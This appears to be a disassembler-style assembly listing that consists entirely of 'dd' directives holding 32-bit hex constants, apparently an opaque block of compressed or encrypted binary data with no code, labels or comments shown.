		dd 2E5C3D69h, 819B594h,	3DA7DF4Ch, 0DC24E8EEh, 0D4275B61h
		dd 752C0B7Bh, 0F409B1Ah, 0D1E462Ah, 0F39F537Dh,	35E9D805h
		dd 33BFC853h, 0A0E2CB9Eh, 7F90D3F0h, 0AB5BEF50h, 5F48B841h
		dd 0AFB10151h, 0EF8050B7h, 2784609Bh, 34FBC24Ah, 6AA8A0h
		dd 81459A11h, 171912EFh, 0B8293491h, 590840DFh,	8050ED2h
		dd 50EF15DCh, 1C68081Ch, 155B1723h, 679EF2F3h, 0DCAD30C7h
		dd 4DE9E15Ah, 5F4224FDh, 81671649h, 62C9583Dh, 18235A20h
		dd 0BE517169h, 0F50F79E8h, 0B883E911h, 0EDFF63Ch, 0C062E780h
		dd 0D709046Fh, 0F70B6B56h, 2681773Eh, 3BC4B4E9h, 0B52708F3h
		dd 302C28E1h, 7C4F4AEEh, 5778C644h, 5CE23AE8h, 2FFEECCAh
		dd 0F57E2225h, 895DAB34h, 0DC10D5BAh, 6E312ABFh, 0E8F8142Dh
		dd 6702BE00h, 0C1468E0Eh, 0FEBCD2E6h, 1DDE6402h, 0B7F017E9h
		dd 0F6C8FE00h, 530604D0h, 0F5C77288h, 829E1420h, 9BCCA3C2h
		dd 0ABBB44F0h, 0FD5FE904h, 8990EDA3h, 74504B78h, 0FE535EFh
		dd 0AB80B053h, 3D08E94Dh, 1212B9Eh, 0AE9F8055h,	8E440614h
		dd 5A6008C3h, 8F8CC115h, 157C601h, 208C8ACBh, 0EC08B86Dh
		dd 4005D340h, 0C340D457h, 3091E396h, 77A1180Fh,	0C4650210h
		dd 13178008h, 0FF087418h, 0ED638235h, 8D66307Bh, 20082411h
		dd 21317178h, 44BF20AAh, 8C90CD01h, 89B2B10h, 180362E2h
		dd 0CA027794h, 0EC470381h, 4CF40810h, 1583D008h, 0B610561Bh
		dd 0EE9E2061h, 892EF31h, 2801C7D2h, 7E20882Eh, 0B2D508CAh
		dd 0C6E4408h, 0D3086991h, 0DF55E640h, 18F490D1h, 69086554h
		dd 0ED4180F3h, 0DF29C380h, 1094D028h, 8C18AB9Ah, 0A9851870h
		dd 0C64AFA80h, 8485910h, 79F57732h, 0E95306A0h,	2034FA31h
		dd 88C0F12h, 671895B9h,	8A087862h, 66A103EAh, 512E2033h
		dd 0A8488D3Ah, 72A0396Bh, 293F5833h, 0B10186Dh,	0B7340889h
		dd 80F7BC80h, 28C404DAh, 0EA0A557Ch, 46838CC0h,	95F9C418h
		dd 1080B208h, 2F1850C5h, 0CE8608FFh, 9853A981h,	3330FEE7h
		dd 0FE0879F9h, 19335110h, 10623C3Eh, 91032B12h,	40087710h
		dd 71C6481Eh, 40995482h, 884071B8h, 96084002h, 65915B66h
		dd 10836239h, 85038731h, 92081B20h, 93171DAh, 31F921D2h
		dd 19FB801h, 108A3C39h,	99EC4562h, 24AA0886h, 0CF40FD1Ch
		dd 0CE9240E6h, 1F31AC92h, 48E10807h, 73A01888h,	107BB50Ch
		dd 0DE374029h, 0D8208C92h, 826A3284h, 0E8A32C20h, 1012FC58h
		dd 3048DED9h, 0D817086Ah, 0C19B363Bh, 90F55469h, 88B0A904h
		dd 25C9AC51h, 88EB4401h, 8728110h, 0CB0AD51Ah, 8E90A4A6h
		dd 891B119h, 57BC519Fh,	0D8208864h, 90CD155Bh, 8BF6018h
		dd 18C68A2Eh, 2008272Fh, 4E207CA4h, 44524926h, 18A1ED10h
		dd 3208B451h, 4020C430h, 996C0CEEh, 12E0A837h, 92CC80A7h
		dd 80962980h, 8C80EFE5h, 4C10C940h, 70C42CA3h, 0C4A2182Ah
		dd 0F9DC9355h, 68590218h, 80C49828h, 10C64E70h,	13D1F54Dh
		dd 22E8FC9Ch, 0ECC05FA4h, 1EC94792h, 33B8788Bh,	3B1044AAh
		dd 25EC0E5h, 896313EBh,	7AA7B90Eh, 105003Dh, 49408F44h
		dd 750BC90Bh, 78748BF7h, 3DE165Ah, 33F731F0h, 0B10FE0C0h
		dd 2C304F35h, 666C22FBh, 7A8A2EC9h, 5088B7C2h, 4A25FAEDh
		dd 0F556ABCDh, 75D90101h, 0C76E6410h, 3EE1373Bh, 28F79FA6h
		dd 0E4CFDB99h, 4BAFCA21h, 0EB800300h, 4318239Bh, 0E9C230F3h
		dd 0EE142827h, 0B6521F16h, 5AF54225h, 61D5EDD0h, 83D480E3h
		dd 3AD4702Ch, 0E94E04E8h, 59A3D700h, 5619DE05h,	0E9A2C01Fh
		dd 0D9BDC437h, 0D6024B15h, 9CD5CBB3h, 0EF05074Ah, 503B4627h
		dd 7F304BE5h, 0D3FCE910h, 7C88591Dh, 12BA00Bh, 886E1E57h
		dd 94036836h, 44E90EA8h, 5A27383Ch, 331BD7A1h, 4829D9B2h
		dd 0A75FB4C0h, 52A0C8E8h, 384ED468h, 11A167BDh,	53909D1Ch
		dd 0C098C8Dh, 0CC8F5F7Ah, 0AD286104h, 59834AC5h, 91166AA3h
		dd 7A16B6DDh, 0CDE24030h, 27FD01EBh, 0B150B0CBh, 42A6DB9Dh
		dd 0AA9EFBF3h, 1AD90124h, 0E04FF210h, 68A27DAFh, 0C307D276h
		dd 5CB97C4Eh, 5DF90E0Ch, 0EB017623h, 8AD006AEh,	47E9170Bh
		dd 6210A5FDh, 0A6327A43h, 0F89C9D1h, 0A8FE8324h, 22E18736h
		dd 35407A3Dh, 7EB753C1h, 3FC77EA6h, 0EF0F0EF7h,	5B25209Eh
		dd 0AFA50F50h, 1CA9E3B6h, 74F8484Fh, 0CF9BC8BFh, 5620026Fh
		dd 17ACE91Eh, 0C604BC82h, 6E27E0D5h, 199DC44Ah,	0DC5125Ah
		dd 4105DFDh, 895E1F45h
		dd 236A123Ch, 2BDD4240h, 625A3391h, 506F8A59h, 9CE7009h
		dd 0AD93C1EDh, 58351674h, 0FC04F0A7h, 0E41AF641h, 3001B6DAh
		dd 0E9504C5Ch, 0B37EAB82h, 2CFBD70Dh, 0A2405F1Fh, 348C0B0Dh
		dd 0BC053AEh, 6F5F8016h, 0CE0340BDh, 2C9E7B1Eh,	7319EEB0h
		dd 2D30FE03h, 0BCDB7F1Dh, 0F06C4BAh, 0C7095E07h, 0B442CF7Ch
		dd 0E3D54BA1h, 0FBF0CFC3h, 0AC413568h, 4F953EC0h, 2F54D24h
		dd 0E5A4C9FAh, 2BD01740h, 95212328h, 0D1A56225h, 59BF4125h
		dd 0E94BC823h, 0D438EF28h, 0E53CB397h, 617B71AFh, 88108717h
		dd 168259E8h, 682DB022h, 620C9EF7h, 0FE84E8B3h,	0FD0BEE5Bh
		dd 2118DD8Eh, 0D5B0BE9h, 0E2DCA7F5h, 5B0ECBBDh,	274C0957h
		dd 1ED8655Bh, 4E76E75Eh, 1A4B9405h, 49F1FE00h, 0EC19432Ah
		dd 631C0CC1h, 3C0C69A1h, 0A58F4C16h, 955B98A0h,	0BF87408h
		dd 18774E9Ah, 0C5CC3B12h, 0E16E6C9h, 0C6C04CCAh, 7EC42299h
		dd 0D82FE0A0h, 29574001h, 0D1F75EF1h, 45054A8Ah, 0FB51259Dh
		dd 4021E343h, 2568E91Bh, 1CC6140Dh, 0E65CA92Fh,	33AE0984h
		dd 86803DD5h, 722F91EAh, 0E9A03B5Bh, 0A62E2FE9h, 7A34423h
		dd 3ABD5A03h, 0D1466216h, 61408C09h, 7B136091h,	0D2E03235h
		dd 540D6E9h, 44B5081Eh,	6656C9DDh, 346055F6h, 977E7728h
		dd 0C827AEEh, 0D711400h, 0A7993988h, 7447840Bh,	0BA52E095h
		dd 264D585Ah, 364D0B91h, 12E37448h, 0FC234F64h,	42F1DDDCh
		dd 0FE5866E6h, 0C9B8AAC0h, 46BA66A0h, 140C6F24h, 2CBBF312h
		dd 30BFCC03h, 2D0F34B2h, 3584C57h, 7B823E3Ah, 1369882Ah
		dd 0BDAEE926h, 0CAEC8081h, 0E2EBE508h, 0C6EEDD1Eh, 904F3B7h
		dd 0BB5DFBE4h, 860FD9C1h, 0F5B8556Bh, 1FA85313h, 53CB9654h
		dd 0D420FB43h, 4CF22DF3h, 0F7355B54h, 0D6E6AD0Dh, 8C6B12B2h
		dd 9FAA9CD7h, 2F614EF8h, 0E3C7805Eh, 3CE1EECCh,	0C63AFE28h
		dd 8E864EDBh, 0F8DCFD5Ah, 5E7E1F43h, 8463E014h,	1A933816h
		dd 0B43B09F1h, 137AD8EAh, 8151BB30h, 0E7AB0347h, 7025125h
		dd 0E789DF59h, 0A18EA754h, 9DAA1367h, 0CE2820B3h, 496A011Ah
		dd 3AE1030Ch, 40C1CA6Ch, 800A2FA5h, 7122E05h, 1AB5596h
		dd 0BEA52125h, 5BC42F13h, 0BAD23CE9h, 16BAE9DCh, 54D2E0Bh
		dd 8962B4DAh, 51F56CE4h, 0A3396A7Ch, 1A7DCE00h,	0E7134C97h
		dd 8E60B800h, 0B659E97Eh, 0CEBB41B9h, 9209AFB4h, 68AD0922h
		dd 665440EAh, 1B0AA360h, 568DFA61h, 45028877h, 3174EE6Dh
		dd 0BC2804F5h, 0AC9B35BAh, 0A55126E9h, 1C6EBD8Eh, 7ABEDE27h
		dd 70599954h, 0D2009965h, 2E1271C5h, 4305D07h, 0CC014860h
		dd 5952DC41h, 11390F2Fh, 5F514720h, 0CBAE31D4h,	0A2E91284h
		dd 8CBF3A40h, 0E410557Dh, 69AC0068h, 0E95D2C19h, 0BBA4EA2Bh
		dd 8BCB145Ah, 0A29DAC4Fh, 0DCE70983h, 47A8E985h, 13FF5E52h
		dd 8478BD11h, 0AA12DCE5h, 0C609B01Ch, 83890058h, 165AF130h
		dd 34273168h, 0D046C04Ch, 0A48CE80h, 67B3298h, 88FA00F6h
		dd 0BB30E9F7h, 0ED81762Ch, 51201E55h, 207EDDA6h, 4E00EFF6h
		dd 10E5936h, 0A8B850F7h, 0B058C708h, 6AF945EAh,	79B87257h
		dd 6C31AE4Bh, 0E02EF9F7h, 8D9028C2h, 82A1754Ch,	0FD0E5D8Ch
		dd 9247900h, 13427E6h, 8007CD7h, 5F5E575Ah, 0DF5327E9h
		dd 63622354h, 9F5355E7h, 0DE124B24h, 0F2D7DF0h,	1EC2650h
		dd 0EF875845h, 6260708Ch, 0E2D11085h, 1D3344D7h, 0E6548DEAh
		dd 0F6130D7Ch, 0F4367822h, 0B76DCC2h, 9F03EF76h, 0F0B144Ah
		dd 22049C0Ch, 8904AE93h, 0C083F301h, 4C06C926h,	8A2EEBE1h
		dd 5EC1616Ah, 652546E9h, 0DCE0E935h, 2F19D03h, 1E251E4h
		dd 0A22A461h, 0CF6220B8h, 4A2A8B90h, 7F802FB0h,	0BA4CE78h
		dd 0DAA53991h, 538E593Fh, 4D3F815Bh, 933141D6h,	2954CC25h
		dd 809D4AAh, 3E6EE482h,	0FFF32948h, 5B896714h, 6B5902F4h
		dd 0DF317D0Ah, 0CF40DF32h, 0A0303687h, 702A343Dh, 2157CE7h
		dd 62CAF8C3h, 415F2911h, 5B810A6Ch, 335069C5h, 0CB047F7Eh
		dd 590BB692h, 82204C5Ah, 9213BDE7h, 0A74963D1h,	83A85F14h
		dd 57562FA0h, 4999E9D8h, 5717BF8Dh, 5131C8F8h, 0A7D1883Dh
		dd 310A037Fh, 6AC0B9C6h, 48F73A64h, 360097DBh, 355F2F72h
		dd 835071ACh, 629F4BEEh, 0D211D4A5h, 68E1E7FEh,	0DE786B2Eh
		dd 840812C4h, 0FD68D4A2h, 220B416Fh, 62BFD26Bh,	0F0486CDFh
		dd 5C1EAF05h, 3B897517h, 499057BDh, 0D9C712C7h,	7F35BDDh
		dd 4A107D08h, 0F6D080D3h, 0C13880D9h, 59CB07A2h, 0EB82F328h
		dd 519C7637h, 46A430h, 680BF009h, 6B353D6h, 0AEB15185h
		dd 33737630h, 0EAE2E7CEh, 0D92FAECDh, 0D7D9E943h, 0B2BCE984h
		dd 16D2E3AAh, 71EB0144h, 0A5265CA6h, 4A3AD716h,	42A918E8h
		dd 9904695h, 45087EBBh,	80F58055h, 90263546h, 4EFA1F5Ah
		dd 14CAED7Ah, 7752B55h,	3A8B2E74h, 1CA28CE3h, 29954DACh
		dd 910DF4Ch, 0C5290485h, 3EA98958h, 0EBC4BF59h,	4B42B726h
		dd 1189C31Fh, 44AE43Ch,	9F685058h, 0C9E7A842h, 581E29A2h
		dd 0DFE7063Bh, 0DE39BB6Eh, 627E6117h, 1BC21EB8h, 1C0D154h
		dd 310420B9h, 84E9677Fh, 622074E1h, 972709B0h, 0BD094D53h
		dd 5079BFEh, 6E055AE2h,	0F15670ACh, 97534F50h, 173D7FFBh
		dd 60FF5B13h, 3A5EE9B8h, 0AAE6EBC0h, 0EC6EAD2Ch, 0AF953AEEh
		dd 0F0291C8Ah, 27DA0CA3h, 0B12CF229h, 983D9E71h, 0BE16E12Ah
		dd 0C34616CCh, 7F23FA5Dh, 0BBBE0019h, 2B4758E4h, 0DD9A7C68h
		dd 287F2A98h, 5CA490B5h, 9765B4EFh, 0F8DECD07h,	6882D769h
		dd 3F4CF6CEh, 0F5A554E5h, 57E01AD5h, 359109E0h,	0F41E5AD6h
		dd 0FDFE4249h, 8975A31Ah, 1203157Bh, 0D6CABA55h, 0DF7A8700h
		dd 0F2F4BD2Bh, 7D2E3127h, 0EE5A900h, 7D585F26h,	497B04EAh
		dd 86AB24B1h, 44C41296h, 3780A0D6h, 0BFF8215Dh,	77243A65h
		dd 9633DB16h, 70F1CA53h, 0B0351CB2h, 8D925EDFh,	3AE00E98h
		dd 0C0EB52B4h, 0F54A2DE3h, 95FBFA8h, 51CD3994h,	277F2020h
		dd 5C44537Ah, 0CEAE919h, 923B5824h, 0EDF7A4F1h,	0D7E98443h
		dd 633EE42h, 7765F6BAh,	5F0AB550h, 0B4E9424Bh, 0C0BD12C8h
		dd 4FE8421Eh, 14F2199Ch, 0D59EFD5Bh, 0D2418C90h, 6FE46E30h
		dd 2D8561CBh, 0CD25BEF4h, 0BF370EBFh, 755CC419h, 68BEE582h
		dd 53E64B79h, 0A1CBBED2h, 1B7AE90Ch, 0D125684Eh, 6040563Bh
		dd 40112FBBh, 0B4BF6703h, 24A7BEFCh, 1218DE16h,	3F34E00Ah
		dd 0CA3D0725h, 208092Dh, 0F1F4CE7h, 514C04D2h, 63BA00A0h
		dd 0F446FE2Dh, 0F7DE6B29h, 0F9539076h, 0DD3F420Fh, 9182DA6Eh
		dd 68075B57h, 59983214h, 0B01212FFh, 2D5413D6h,	5DEEEC11h
		dd 15BF5702h, 75306948h, 0FFE9E2h, 0AA6A8370h, 0D2B9004Dh
		dd 0E9FF59B2h, 0A1951E23h, 80362AA3h, 4EE9520h,	79C04DC7h
		dd 85B9C529h, 0F03121BFh, 0E7EC24AAh, 440748h, 0EA145C35h
		dd 32E9FE31h, 0ADBD23A1h, 0A66FF276h, 51015A8h,	0E8C0D0F6h
		dd 1F32F804h, 81D2732Ch, 8AF04A84h, 41B913F6h, 4B2A1264h
		dd 0A62A6957h, 94B0081Bh, 2D9E5C2Fh, 32BD2CD8h,	81F375D9h
		dd 6280E90Bh, 7416D7D6h, 6C306818h, 99B4A729h, 165AAEFCh
		dd 206A1E52h, 16FDEA82h, 4E2F2723h, 68FA9A98h, 9E605F82h
		dd 0CA7E8482h, 2CC8313Fh, 808F048Eh, 0F65201CEh, 5AE52454h
		dd 12A4EEE4h, 313CA868h, 0F40EB5CBh, 282ED4C5h,	0E98413EEh
		dd 0B405E0h, 804F00A2h,	94E28132h, 1A3B3F1Ch, 24758C1h
		dd 0B614D9C2h, 3AE84491h
		dd 700A54FAh, 26060558h, 2B62CF36h, 0FD46CBh, 99290B73h
		dd 0CF015C43h, 0EA733713h, 0ABB27277h, 71ED7D3Ch, 93040888h
		dd 237AF156h, 7A3781C8h, 89204348h, 0B78516CDh,	0E9D203BCh
		dd 2A1788EDh, 25E95F54h, 0EB5BDF84h, 867AB92Dh,	1F984A23h
		dd 21385317h, 0E0002CADh, 0F7223424h, 0ED09C1DDh, 2077E903h
		dd 51D3F601h, 80B605B5h, 0E808EBF5h, 99C31E89h,	28FBF342h
		dd 94D243D8h, 3B83D8BBh, 0FE56BD40h, 13BBCB5h, 55B3F68h
		dd 0E22B6023h, 6B46BB09h, 1DA40215h, 0EE9B6801h, 930405ABh
		dd 995D56F3h, 1D9FA682h, 0BCD5200Ah, 0FABD546Bh, 5536EF44h
		dd 0A0516726h, 2D730B8Ah, 518C296Bh, 12022012h,	0CE81684Bh
		dd 4E3FE19Eh, 0D88E969Eh, 1FF60C71h, 9472252Eh,	0F9293631h
		dd 5DF21E61h, 6325C14h,	0DD467405h, 519D8648h, 27554D26h
		dd 0A92F312Ch, 80A47501h, 0F2472119h, 7C38100h,	54EA3E16h
		dd 1EDB0B10h, 0B417C2Ch, 4103E945h, 94C544A8h, 485959FFh
		dd 0CA01800Ah, 0E9DAF635h, 0A82A1A79h, 818BD489h, 4B9F56B8h
		dd 4A9B9C60h, 2C172979h, 4E24026Dh, 0DC5B51DFh,	789842C3h
		dd 4CDE4DDh, 3A3558E2h,	0BCBF801Eh, 0F14FC5CFh,	0F85DD8C2h
		dd 0EE887D22h, 0E8B6636h, 0D2E43A59h, 0B33C62C1h, 0C42BD8C9h
		dd 0F25E827Bh, 0A0439C5Fh, 8039B80Dh, 71682B9h,	46BF3EB3h
		dd 97320B60h, 1F0550B5h, 0E4B9D73Ah, 0CA2D818Eh, 0E434E868h
		dd 7A105D8h, 3E02D95Bh,	0FDD6D7F3h, 0C37C3EA5h,	0EEE34E73h
		dd 0E8009E69h, 4EE803C1h, 0E649EE0Ah, 0F8F7F231h, 52492D42h
		dd 0B504F17Ch, 4C10732h, 8078E5E9h, 689CF45Bh, 3D8A6FB0h
		dd 7D638955h, 5F17E347h, 6D4AC731h, 170BFA05h, 302BDAFDh
		dd 660D56B9h, 521F5351h, 0EC0E08B6h, 0CBAE134Bh, 0E1197FC8h
		dd 0C8980125h, 0AADF44h, 0F8424BD8h, 0E34CC170h, 0FA231C2Bh
		dd 2DFC162Fh, 10DA998Ch, 66879125h, 4468175Eh, 0A22EB841h
		dd 9812505Bh, 393E3282h, 0EC705D80h, 0E66C5E2Fh, 12F14B64h
		dd 1CDB4492h, 45FA1248h, 0B4C7C5C7h, 31392167h,	0CB5F7BD0h
		dd 0DDBAD400h, 9433AE77h, 2D592588h, 68B94062h,	0C5079971h
		dd 0EEB4CED5h, 9DE6AF33h, 3D26F1F3h, 52011FA4h,	0EF8D84EBh
		dd 7CD83E79h, 0C1C7C97Eh, 71E1967Fh, 0E2758209h, 7AC100D3h
		dd 951ED847h, 8A72DED0h, 52E12725h, 0E9CB1318h,	4FBCB89Fh
		dd 0AD4F7BDBh, 0A0688266h, 82DCD95Dh, 256F2916h, 0C5F3A05Dh
		dd 4C4B0B4Fh, 4A60D9B8h, 0C4116CBFh, 0EEE9250Bh, 60115463h
		dd 242642Ch, 0AEB25E60h, 20EA309h, 0E00AEB81h, 44F7F3AAh
		dd 22A4017Bh, 4EE91AF2h, 5946AD98h, 40F469B0h, 80CEA554h
		dd 65440DBCh, 2A7201E9h, 0F617B0E0h, 26B2C328h,	0EF373634h
		dd 0FA6D7DA1h, 9A73204h, 0C3B4EF43h, 0A8D132E9h, 1156E263h
		dd 1F5F0569h, 13BE6184h, 0F4592956h, 539DCEA0h,	0CC82DC4h
		dd 9B12197Bh, 5B04D10Fh, 99A5E747h, 3030FB49h, 95681DC9h
		dd 38C6803Fh, 294E907Ah, 4CE9CE0Dh, 0A12A3319h,	96E02A53h
		dd 0D3CED002h, 50685600h, 5E25E630h, 220158B1h,	89A2B5D7h
		dd 6D625201h, 6E661CE4h, 0B094CE6h, 914C5509h, 829C02F4h
		dd 5BC9E51Dh, 1EB5728Eh, 8C705552h, 0E34D3EE8h,	0A54A60Bh
		dd 1FAEE013h, 9710EE50h, 9981694h, 9A6BA30Bh, 99A08F06h
		dd 86885264h, 7727D599h, 8415A32h, 0C9BF008Bh, 44AD3D59h
		dd 0B5A66E1Ah, 4C22F89h, 31593060h, 94F9BBCh, 6823C015h
		dd 4CC0ECBBh, 0D920715Dh, 0A3398912h, 74D44804h, 8B754D09h
		dd 3197027Ch, 0ED4D4061h, 1BF23CB1h, 277A29ACh,	6413B522h
		dd 25BF64F9h, 0D5080929h, 3B93624Ch, 3EAC28B4h,	75849574h
		dd 78FBF15Ch, 7568C300h, 0BF312F5Fh, 0B1CB9968h, 4A48E1E0h
		dd 22E9B083h, 0C071927Fh, 3238AFDEh, 0DB5CF77Ch, 11B1348Dh
		dd 4FB52FEh, 133362B5h,	56B1EE01h, 0DB477EF7h, 5AAB72D2h
		dd 495B78F8h, 5E25ACB7h, 0F4C9CED1h, 0E41425B6h, 1867549Fh
		dd 683E06A0h, 0AD2CDD26h, 69BD16C3h, 68F5F83Dh,	81EDA7ACh
		dd 88A42B31h, 0FC82D32Dh, 33F009DFh, 7940DF92h,	0F1825EEh
		dd 0D70C6BEAh, 225D2C5Eh, 87F58918h, 4D81C57h, 0F471D4BAh
		dd 66C4FE31h, 41A89C52h, 1CE0996h, 0F7EB9E76h, 3B5C8891h
		dd 2F3264E6h, 51F65ADBh, 98CB42C6h, 9A79058h, 4CB34896h
		dd 33934F09h, 3E05801Ch, 574E55CBh, 20071D88h, 68B240D4h
		dd 807F37A2h, 8E254568h, 0BAC1D62Bh, 620B9350h,	70FCE924h
		dd 116497EEh, 680C2C42h, 0DBBF5045h, 2B221A4Eh,	8A44FF5Ch
		dd 7A29DE22h, 75598112h, 0C1A2E7BCh, 707D3A4Ah,	97BD2AA1h
		dd 5BDD2D95h, 0C072B0Bh, 0BB120E3Fh, 904506D9h,	8B660EEBh
		dd 0B72DBAD3h, 78169D39h, 475BD3E7h, 4268FE01h,	0FA8759A1h
		dd 0E31169Dh, 0D097E4E9h, 0A70E1938h, 0D37D117Fh, 69A18EAh
		dd 425FBF24h, 29C99AC7h, 0C25FDE6Fh, 66D5FF76h,	0ECC9F3B4h
		dd 35D412A5h, 632B0B9h,	90DBF65Ah, 13009872h, 4A3CE9D8h
		dd 6FA525Bh, 541A79CFh,	6885D354h, 0C631E32Fh, 35AF091Dh
		dd 0BCC85D29h, 0B9805362h, 1457795Bh, 0A6E1D163h, 5C508820h
		dd 0FE4EF060h, 0E081B6A9h, 0F83D1671h, 0DB9F1F75h, 0F740A59Fh
		dd 2A5B9417h, 6A68AE00h, 24E9462Bh, 0C2EE86E1h,	0D709F4CFh
		dd 0CB0D79E8h, 6E4A9DECh, 350006ECh, 0FFB192Bh,	550B2D40h
		dd 0F8C4C67Dh, 5BC8A0A4h, 59342745h, 0F6DE7839h, 6DEE7155h
		dd 0E7A67E08h, 2AAF5410h, 0C30420B8h, 18796858h, 154E4F91h
		dd 7279A4ADh, 0AB655660h, 0B2249809h, 2A9C3Eh, 6801C283h
		dd 189D5BB1h, 2D4F1356h, 16232A30h, 5C1F34EBh, 0E7DFF331h
		dd 0FCCDBDE6h, 2F66A32Bh, 0DFD112DAh, 0B9805FC5h, 166A13E3h
		dd 96630E9h, 24ECF2Dh, 0A3F0964Bh, 0B3CC140Fh, 247DA134h
		dd 2F18F11h, 6D77E9FEh,	0C0455671h, 2D53B6B0h, 0C9E08FB7h
		dd 0E73B80C7h, 50DF9F20h, 88AFB343h, 7FEC7CDCh,	0CF75C58h
		dd 0A3EF5517h, 0D49219D0h, 0C86F214Ch, 0ED4E5AD5h, 0B18584E9h
		dd 0B06D25C0h, 4340D189h, 8E63BF59h, 0CEA5A38Fh, 0FB27C885h
		dd 66AC1A4Dh, 80453BCCh, 5E525195h, 0CAFB5F68h,	0A6BB2F38h
		dd 0CD2908BDh, 160F8D0Ch, 0DCC4D808h, 0A8F3EF80h, 24B2860Ah
		dd 6B209C90h, 37F897D0h, 256079B5h, 799736F7h, 0B10E54E9h
		dd 303A05C6h, 0DC591278h, 0F719EE65h, 0CECC6518h, 90082AA0h
		dd 77A48A49h, 759691F8h, 6B38F7CBh, 3E93FEEEh, 0EEA54F12h
		dd 0DBEAC4DFh, 0CDE91317h, 0A2BB4082h, 46480Ah,	1A88595Ch
		dd 0BDFE6497h, 0E98472E5h, 288AB306h, 3BB33D5Bh, 68D01B8Dh
		dd 0B81B4BC0h, 0BFC4F45Bh, 984945FBh, 0E0C21288h, 3A4C2C56h
		dd 0FDB92E9Bh, 0D253C417h, 0DB3FE445h, 93A4F881h, 83FBB7Dh
		dd 71970C73h, 0D10C7E30h, 0DEEF9E3Dh, 0FC3BF7C3h, 0C8B58858h
		dd 61EDC02Dh, 69D731Ch,	0BEE58F01h, 8810F521h, 84A17EEAh
		dd 98D78A3h, 9A845756h,	485805DEh, 0F6FEC0BEh, 4D275A13h
		dd 3130DD01h, 31184EEAh, 6E0C0FBFh, 60750330h, 2A43E956h
		dd 0AEB4614Fh, 0A2DA5EFDh, 0B5A6D87h, 292CF4F5h, 0B47DBB4Eh
		dd 0C14DB82Ah, 5526C781h, 0C846DFDh, 85071853h,	2BEC0B9Bh
		dd 0F18240E3h, 80D5957Dh, 5253C1FEh, 0CC4AB151h, 5BB3DBE0h
		dd 2F2BEC0Dh, 5AEF814Dh, 1F30F480h, 78A570C6h, 0F2EE75E6h
		dd 69F06528h, 9517C25Ah, 2CD00500h, 3567075Bh, 197F1E36h
		dd 0FB2E1F85h, 9B4ACFD8h
		dd 73B81EAAh, 3281BA6Eh, 1E4E6091h, 5D65A85Eh, 49F7B288h
		dd 0FB3BF592h, 851ED5A4h, 8C027468h, 80FEB6F5h,	3AF8EC38h
		dd 0A7C4BAF4h, 0E57450E9h, 8232F36Fh, 2802BE56h, 0D7202F1h
		dd 6A7D1E5Ch, 0F3080844h, 642DDDA5h, 1CB72A0Eh,	0A8F2D5C4h
		dd 99169EF4h, 0EE2F7FADh, 23179CFCh, 0A7EAAF83h, 0C5268F83h
		dd 0B056DA72h, 0C9A0E933h, 7D765239h, 48A40394h, 95CB3BA5h
		dd 48A4E865h, 815F09A9h, 8632DFC5h, 6474F7A9h, 3E7E042h
		dd 0BBAEFB5h, 5AFB3D6h,	9D0E280Dh, 2DAB728Ah, 2B230EEh
		dd 0E95857BEh, 0ED135AF1h, 8790C454h, 7CC170FCh, 7E43F915h
		dd 0BB3CA2C7h, 1EACECD0h, 0C32A5933h, 12175C5Ah, 79D368A0h
		dd 8229ACBBh, 2D29DF25h, 8E1A82F5h, 827D0BF8h, 7BB20982h
		dd 96C51034h, 0F7DD5C72h, 0E79F8E16h, 715E2597h, 0FD8D71C6h
		dd 25C667E2h, 0E98405F9h, 30BFEA58h, 996855E7h,	3BD3751Fh
		dd 9360ECCAh, 8E877569h, 1748F285h, 23D2F5Eh, 0B231F668h
		dd 693E5E23h, 0E91CDCFEh, 95236516h, 0BE4F1E8Eh, 38920FCBh
		dd 0A8A49744h, 0E4DAC47Bh, 0E8878C12h, 0B492790h, 2DE2404Bh
		dd 0EE495D28h, 59E6C625h, 95FCBCDh, 8DD07190h, 3A10529Dh
		dd 19AB3CA4h, 0C5E0549h, 0DEDEAF37h, 0DF5D1EEEh, 4144FC2h
		dd 132DF005h, 3BCF0207h, 0B0C06C7Bh, 0F1D40E9h,	0C98113D0h
		dd 4E5E199Fh, 3F05E1F0h, 49BEEF21h, 92FC197h, 0E075D321h
		dd 4120454h, 57E91A4Ah,	5D50CC64h, 37631BF2h, 0C9EEB912h
		dd 187A1EDAh, 3A446E85h, 74933827h, 23138B5Ch, 0FDA60B65h
		dd 2CAC27E4h, 0B6B6D84Ah, 8802295Bh, 0D42EBE68h, 0E877792Eh
		dd 1345C10h, 81264C1h, 0A43785F6h, 6845CCC9h, 65659B2Dh
		dd 0C6B882Ch, 4AA8FE17h, 95F27F2Ah, 187A4EC2h, 38A35A4Eh
		dd 68E0D302h, 0B7517FF2h, 2237DB80h, 0E4CD8123h, 13AC0663h
		dd 9701C583h, 6EE86814h, 2AD38019h, 2DE902ACh, 27797825h
		dd 8FBC123Ch, 297B99E7h, 459D6ADDh, 3E6CDC5Bh, 0CD2A025Bh
		dd 0A806494Eh, 507C4580h, 4B710AB8h, 0EFFA6C50h, 22C16881h
		dd 1272C276h, 27566A3Eh, 0A91036D7h, 6392EB5Eh,	7823565Dh
		dd 0F34FF9E9h, 12B02088h, 9C8FE59h, 0F70279Bh, 3238B800h
		dd 5401F93h, 200E1D8Dh,	0DF4F4047h, 0E8E9D951h,	0AAA4ED5Bh
		dd 0A164634Eh, 3E0052E5h, 106E313Bh, 25D91FBAh,	747E6A78h
		dd 0B25EF4Ah, 0BE7523h,	13436816h, 9137DCE3h, 526BD225h
		dd 0A3AE2545h, 2F3B8A88h, 0D0037D8h, 5B276155h,	780A812Dh
		dd 0C7892CAEh, 752C106Bh, 11B4AD4Bh, 0A22BF587h, 219D8DA3h
		dd 899E163Fh, 5B3F08B1h, 62926814h, 0C40A9459h,	5F02FF57h
		dd 0C57FC731h, 0E90730BFh, 509B9ED8h, 0FC9DB209h, 6F8B7110h
		dd 52BB3100h, 30E7A4Ah,	776E381h, 0C045CF8h, 70CB4C03h
		dd 0F0CB87BEh, 52010CF3h, 4EA51C58h, 0ECEA7190h, 58093342h
		dd 20B1E40Ch, 73897A27h, 2CFF26Dh, 9CF73CA9h, 9409543Fh
		dd 6775EC5Bh, 0D4F2BB1Bh, 2B4BF1A6h, 513D8FB2h,	358373A7h
		dd 0D8637C01h, 2290E14h, 0C112C59Bh, 5DF6DB0Dh,	35023526h
		dd 606B8A11h, 9AA9E9C2h, 0BDC1BFF5h, 3A953920h,	18DEBD5Eh
		dd 0BE1432C5h, 38470028h, 5A7A053Ch, 8AF92DBAh,	0D1BCF242h
		dd 4CE3AB8Ch, 499A03B8h, 962D1BBFh, 78B70B40h, 0AEA5C4A5h
